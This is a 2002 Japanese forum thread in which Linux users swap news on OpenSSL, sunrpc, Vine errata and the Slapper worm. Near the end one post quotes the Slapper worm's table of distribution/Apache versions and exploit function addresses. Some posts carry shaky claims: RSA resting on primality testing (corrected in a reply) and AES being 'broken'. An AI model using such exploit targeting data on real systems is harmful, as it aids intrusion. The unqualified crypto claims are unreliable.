02/08/01 00:00 HYtIqah4
>>132
鷲もSolaris8(SPARC版)で同じようなエラーでまくった。

135:login:Penguin
02/08/01 04:58 K+qKORMj
>>132
FreeBSD 4.6-STABLEで同じエラーが出たが，
PlamoLinux 2.2.6では出なかった

136:135
02/08/01 05:03 K+qKORMj
ちなみに
FreeBSD:
-r-xr-xr-x 1 root wheel 29017 Sep 26 2000 /usr/bin/pod2man
Linux:
-rwxr-xr-x 1 root root 28830 Jul 23 1999 /usr/bin/pod2man*

137:OpenSSHにトロイ
02/08/02 00:12 INRnoZ0d
URLﾘﾝｸ(docs.freebsd.org)

138:132
02/08/02 11:13 ODee0oiA
ヨー分からんが、どうせマニュアルだしとおもって
とりあえず無視して続行した
情報あんがと>>134, 135

139:login:Penguin
02/08/02 11:37 Ybd6oZe9
>137
祭りのﾖｶｰﾝ
うちは大丈夫だったーよ。

140:名無しさん＠Ｅｍａｃｓ
02/08/02 12:53 00MO2/Lt
>>137
祭りネタｷﾀ━━━(ﾟ∀ﾟ)━━━ !!!!!
いや、うちは全く問題なかったんだけど。

いちおうcertのほうのリンクも。
URLﾘﾝｸ(www.cert.org)

141:login:Penguin
02/08/02 13:02 1fOWog9y
因紫掻
薄仙尻衣馬形壱馬澗紫戚闘拭奄沙凪戚走亜蒸柔艦陥. 穣益傾戚球馬澗掻析呪赤柔艦陥.

陥製拭陥獣背左淑獣神. 庚薦亜域紗鞠檎瀬紫戚闘淫軒切拭惟庚税馬淑獣神.

これってなんて書いてあるの？ルータのログみたら外からローカルの
アドレス参照しようとしてたみたいなんだけど。

142:141
02/08/02 13:03 1fOWog9y
参照元のURL見に行ったら書いてあった。

143:login:Penguin
02/08/02 20:01 8Z+yUGrL
ｷﾀ━━━(ﾟ∀ﾟ)━━━ !!!!!
sunrpc にリモートな穴
URLﾘﾝｸ(www.isskk.co.jp)

glibcおそらくダメ。パッチ前のコードとおんなじ。

144:login:Penguin
02/08/02 20:07 8Z+yUGrL
cvsは変更されている。

145:login:Penguin
02/08/02 20:42 Fjm5fo+C
>>143
俺的にはネットに sunrpc を露出させてる事自体が非常識だと思うが、
実際にはそういう鯖がいっぱいあるんだろうな。
Debian ですらデフォルトで sunrpc が動いてる。

146:login:Penguin
02/08/03 22:31 iNHan/6D
>>145
libwrap組み込みのportmapperはまだマシ。
Solarisのやつはアクセス制限ないからね

147:login:Penguin
02/08/03 22:43 iYyATlBv
>>145
ルータで塞いでるから、ネットに晒してるのはあまり無い気がするが、
それでも内部からだと叩かれまくるよな。

148:login:Penguin
02/08/03 23:03 q+uK3qOu
ガーソ。NFS鯖もだめっぽ？

149:login:Penguin
02/08/04 02:40 mTLJthdl
Port111、iptablesでrejectしとこっと

150:login:Penguin
02/08/08 08:04 GKTZUhh4
08/07 Vine-errata security hole

apache-1.3.26-0vl3.i386.rpm
apache-devel-1.3.26-0vl3.i386.rpm
apache-manual-1.3.26-0vl3.i386.rpm
mod_ssl-2.8.7-0vl3.i386.rpm

151:login:Penguin
02/08/08 08:06 GKTZUhh4
08/07 Vine-errata security hole

libpng-1.0.12-0vl3.i386.rpm
libpng-devel-1.0.12-0vl3.i386.rpm

152:OpenSSL0.9.6f
02/08/09 14:31 BghTOrfj
ｷﾀ━━━(ﾟ∀ﾟ)━━━ !!!!!
URLﾘﾝｸ(www.openssl.org)

153:あぼーん
あぼーん
あぼーん

154:login:Penguin
02/08/09 14:59 4tlTdlJW
>>152
またopensslに依存するのをビルドしなおしかよ・・ﾒﾝﾄﾞｸｾｰ

155:OpenSSL0.9.6f
02/08/09 15:10 BghTOrfj
>>154
朝からWin2kのSP3（板違いスマソ）もいれたし、
次はコレかよって感じだよ....ウワヮヮンヽ(`Д´)ﾉ

156:名無しさん@XEｍａｃｓ
02/08/09 15:19 QtBVDpro
あうん。 OpenSSL は、ちと面倒だよね。。。

157:login:Penguin
02/08/09 15:21 8WrLJci1
make installでコケるぞ。0.9.6g出んのかな
URLﾘﾝｸ(marc.theaimsgroup.com)

158:
02/08/09 19:13 o+8My8IY
カンプールのインド工科大学のManindra Agrawal、Neeraj KayalおよびNitin Saxenaが、
素数判定を多項式時間(polynomial time)で可能なアルゴリズムを発見、証明した。

素数判定(が困難であること)は、RSAをはじめとする多くのコンピュータ暗号が安全である
ことを保障しているため、もしこれが事実であった場合、コンピュータ暗号の世界に多大な
影響を及ぼすと予想される。

論文は以下のURLからたどることができる。

また、ニューヨークタイムズの記事によると、ベル研のDr. Carl Pomerance博士は
この論文を正確(correct)であると断定し、「このアルゴリズムは美しい。」
("This algorithm is beautiful.")とコメントしたという。

論文のURL(英語: 数学者の写真あり): URLﾘﾝｸ(www.cse.iitk.ac.in)
NY Timesの記事(英語): URLﾘﾝｸ(www.nytimes.com)

関連スレ
【科学】素数判定が多項式時間で可能、コンピュータ暗号に影響大―インドの数学者証明
ｽﾚﾘﾝｸ(newsplus板)
素数判定は「決定的」多項式時間で可能
ｽﾚﾘﾝｸ(math板)

もうだめぽ、、

159:login:Penguin
02/08/09 19:23 8xcqN05M
地味なタコ式祭りが発生しているが... 当面 RSA には影響なさげ。

160:login:Penguin
02/08/09 19:27 8xcqN05M
＞素数判定(が困難であること)は、RSAをはじめとする...
RSA の基盤は「素因数分解(が困難であること)」だバカモノ。

161:login:Penguin
02/08/09 19:44 o+8My8IY
>>160
素数判定は楽にできるようになったけど、
依然として素因数分解は困難であるということ？

162:login:Penguin
02/08/09 19:49 8xcqN05M
>>161
アルゴリズムを素因数分解に応用できるかどうかは今の所未知数。
ていうか今のところ関係無し。でも数学好きにはたまらんネタだろうな。

163:login:Penguin
02/08/09 21:03 o+8My8IY
>>162
ども。
とりあえず、あわてることはなさそうですね。

164:login:Penguin
02/08/10 08:00 nkdobe6F
こういう時数学的素養がない漏れはツライ...

165:login:Penguin
02/08/11 00:52 Bp+ly3tB
8月中に色々出そうなﾖｶｰﾝ

166:login:Penguin
02/08/11 05:59 cqQ7h8Qr
opensslは0.9.6gか・・・
この手のライブラリは頻繁にバージョンアップされたら泣けてくる・・・

今、0.9.6e使ってるんだけど、セキュリティ問題あんのかな？
うちではbuildは素直に通ったんだけど・・・これ絡みの修正なら放置したい・・・

167:login:Penguin
02/08/11 08:43 uKejT2NS
>>166
openssl 0.9.6eはバグ入りです。これあてないと駄目。なんで0.9.6fとか openssl advisoryが出ないのか不思議です。
URLﾘﾝｸ(marc.theaimsgroup.com)

セキュリティーホールmemoから引用

168:166
02/08/11 15:42 cqQ7h8Qr
>>167
THX
アップデートしておいた方がよさげかな（泣

169:login:Penguin
02/08/12 10:36 /vXwCwY1
これって 6.2 も BIND 9.x に上げろ、ってこと?
URLﾘﾝｸ(rhn.redhat.com)

170:login:Penguin
02/08/12 11:41 9+/01gLs
もう、openssl0.9.6gでてるよ。
opensshとかapacheとか、makeしなおしかよー

171:login:Penguin
02/08/12 14:32 CpjzB4Ow
>>170
スタティックリンクしてるのか?

172:login:Penguin
02/08/12 15:28 9+/01gLs
sharedでmakeしてるときって、再起動だけでいいんですか？
ldd /usr/sbin/sshd
してみたら、
libcrypto.so.3 => /usr/lib/libcrypto.so.3 (0x280d0000)
という風になってて、
このlibcrypto.so.3 は古いライブラリだったんですよね。
新しいのは
libcrypto.so.2
なんですけど・・・・

173:login:Penguin
02/08/12 16:38 e6gR74Zh
海胆板とクロスポストかよおめでてえな

174:login:Penguin
02/08/13 22:00 Lm+jD2sp
>>171
お前馬鹿だなぁ。ダイナミックリンクでも新しいバージョン入れて再起動しないとダメだよ。

175:login:Penguin
02/08/13 23:10 OgpeoNS6
>>172
入れ換えて再起動するだけでいい。そのためのシェアードライブラリ。
そのへんがよく判ってない人は RPM に頼るほうが安全だよ。

176:login:Penguin
02/08/13 23:49 HzHkL5P0
rpm だと, シェアードライブラリを入れ変えると, link してる
daemon を再起動してくれるもんなの? なんかすごそう.

177:login:Penguin
02/08/13 23:53 42AXx8EM
>>176
してくれないんでない?
OpenSSL の Advisory では「リブートしろ」って書いてある。
URLﾘﾝｸ(rhn.redhat.com)

178:login:Penguin
02/08/14 00:33 zJGAdpS8
>>176 いや、そこまではやってくれないよ。
シェアードにしたつもりで出来てなかった、とかの失敗が無くなるだけ。
それに >>177 が書いてるように、アドバイザリに必要な作業が載る。
でも Debian で glibc 入れ換えると片っ端から再起動してくれて驚く。

179:login:Penguin
02/08/14 07:06 s4Wd/65X
>178
/sbin/init も？

180:login:Penguin
02/08/14 11:21 xh4yp2uP
>>179 Debian で /sbin/init を再起動してくれるかどうかは確かめてない。
でも赤帽でも init は再起動してくれるくらいだから、やってるんじゃない?

181:login:Penguin
02/08/18 01:02 dpWasehA
>>179
postinst で init u してるのを発見

182:login:Penguin
02/08/25 02:51 u07j5rfK
08/15 Vine-errata security hole

mozilla-1.0.0-9vl9.i386.rpm
mozilla-chat-1.0.0-9vl9.i386.rpm
mozilla-devel-1.0.0-9vl9.i386.rpm
mozilla-dom-inspector-1.0.0-9vl9.i386.rpm
mozilla-js-debugger-1.0.0-9vl9.i386.rpm
mozilla-mail-1.0.0-9vl9.i386.rpm
mozilla-nspr-1.0.0-9vl9.i386.rpm
mozilla-nspr-devel-1.0.0-9vl9.i386.rpm
mozilla-nss-1.0.0-9vl9.i386.rpm
mozilla-nss-devel-1.0.0-9vl9.i386.rpm
mozilla-psm-1.0.0-9vl9.i386.rpm

183:login:Penguin
02/08/25 02:51 u07j5rfK
08/25 Vine-errata security hole

util-linux-2.11n-4vl6.i386.rpm
mount-2.11n-4vl6.i386.rpm
losetup-2.11n-4vl6.i386.rpm

184:login:Penguin
02/08/26 23:12 8KXm86HS
>>181
なるほど。
Red Hat だと glibc に付属の glibc_post_upgrade を実行してたよ。

185:login:Penguin
02/08/29 11:09 9F1pybQo
古いので sage

URLﾘﾝｸ(service.real.com)
URLﾘﾝｸ(service.real.com)

186:login:Penguin
02/09/14 13:13 B9dlUKMe
Linux.Slapper.Worm
URLﾘﾝｸ(slashdot.jp)

187:4も学割野朗 ◆4GET/.F.
02/09/14 23:20 jwopavyL
URLﾘﾝｸ(www.zakzak.co.jp)

俺にとっては他人事じゃなかったりするわけだが。

188:4も学割野朗 ◆4GET/.F.
02/09/14 23:22 jwopavyL
間違えた。こっちが正しい。
URLﾘﾝｸ(www.zakzak.co.jp)
知らない間にＮＡＳＡにハッキング…
愛知の会社員になりすまして攻撃

愛知県知立市の会社員（３１）が自宅で所有するパソコンが８月、ケーブルテレビ局のインターネット回線を経由して
何者かに勝手に遠隔操作され、米航空宇宙局（ＮＡＳＡ）の施設「ジェット推進研究所」のコンピューターにハッカー攻撃をしていたことが１４日までに分かった。

189:login:Penguin
02/09/14 23:24 xbXyt3h1
これって、UNIX系OS入れてたってことなのかな？
それとも、Win2000？

190:4も学割野朗 ◆4GET/.F.
02/09/14 23:26 jwopavyL
>>189 ウィンやマックじゃないって書いてあるからUNIX系だと思われ。

191:login:Penguin
02/09/14 23:35 xbXyt3h1
>>190
さんくす。
朝日の記事しか読んでなかった。zakuzakuには書いてあったんだね。

192:login:Penguin
02/09/15 00:03 s5g/JVKr
おまえらはそもそも軽く考えてサーバ建てすぎ。
まぁこのスレに来る連中はまだいいほうだな。
少なくとも「セキュリティ」という単語を知ってる。

193:login:Penguin
02/09/15 00:10 /sdc7+j+
>>192

鯖は建てましたがワールドワイドには繋いでません。

194:CRYPTO-GRAM, September 15
02/09/16 17:43 qCuGZIi/
AES may have been broken. Serpent, too.

195:login:Penguin
02/09/17 10:46 FczQ6EGn
Linuxサーバを襲う新手のワーム
URLﾘﾝｸ(www.zdnet.co.jp)

196:login:Penguin
02/09/17 11:07 f9VI4nxX
>>195
それがまるっきり来ないんだよ。TCP 443 を叩いてもくれない。
既に絶滅したかも。来るのは MS SQL のワームばかり。

197:login:Penguin
02/09/17 11:32 FczQ6EGn
だよな。普通にアップデートしていたら穴は塞がってるし。
漏れもくだ質のヤツしか見た事無い。
ｽﾚﾘﾝｸ(linux板:386番)

198:login:Penguin
02/09/17 13:18 e3Zfg2Kx
最近、https 公開していないサーバに 2 回ほど
443/tcp アクセスがあったよ。まだ Worm は知ら
なかったから（゜Д゜）ハァ？と思ったけど。

9/13 17:05:20 と 9/14 19:17:00 に 1 回ずつ
SYN が来てた。

1433/tcp に埋もれて見落しそうになる（ｗ

199:from bugtraq.c
02/09/17 14:42 f9VI4nxX
オリジナルの Slapper のターゲット。
struct archs {
char *os;
char *apache;
int func_addr;
} architectures[] = {
{"Gentoo", "", 0x08086c34},
{"Debian", "1.3.26", 0x080863cc},
{"Red-Hat", "1.3.6", 0x080707ec},
{"Red-Hat", "1.3.9", 0x0808ccc4},
{"Red-Hat", "1.3.12", 0x0808f614},
{"Red-Hat", "1.3.12", 0x0809251c},
{"Red-Hat", "1.3.19", 0x0809af8c},
{"Red-Hat", "1.3.20", 0x080994d4},
{"Red-Hat", "1.3.26", 0x08161c14},
{"Red-Hat", "1.3.23", 0x0808528c},
{"Red-Hat", "1.3.22", 0x0808400c},
{"SuSE", "1.3.12", 0x0809f54c},
{"SuSE", "1.3.17", 0x08099984},
{"SuSE", "1.3.19", 0x08099ec8},
{"SuSE", "1.3.20", 0x08099da8},
{"SuSE", "1.3.23", 0x08086168},
{"SuSE", "1.3.23", 0x080861c8},
{"Mandrake", "1.3.14", 0x0809d6c4},
{"Mandrake", "1.3.19", 0x0809ea98},
{"Mandrake", "1.3.20", 0x0809e97c},
{"Mandrake", "1.3.23", 0x08086580},
{"Slackware", "1.3.26", 0x083d37fc},
{"Slackware", "1.3.26",0x080b2100}
};

次ページ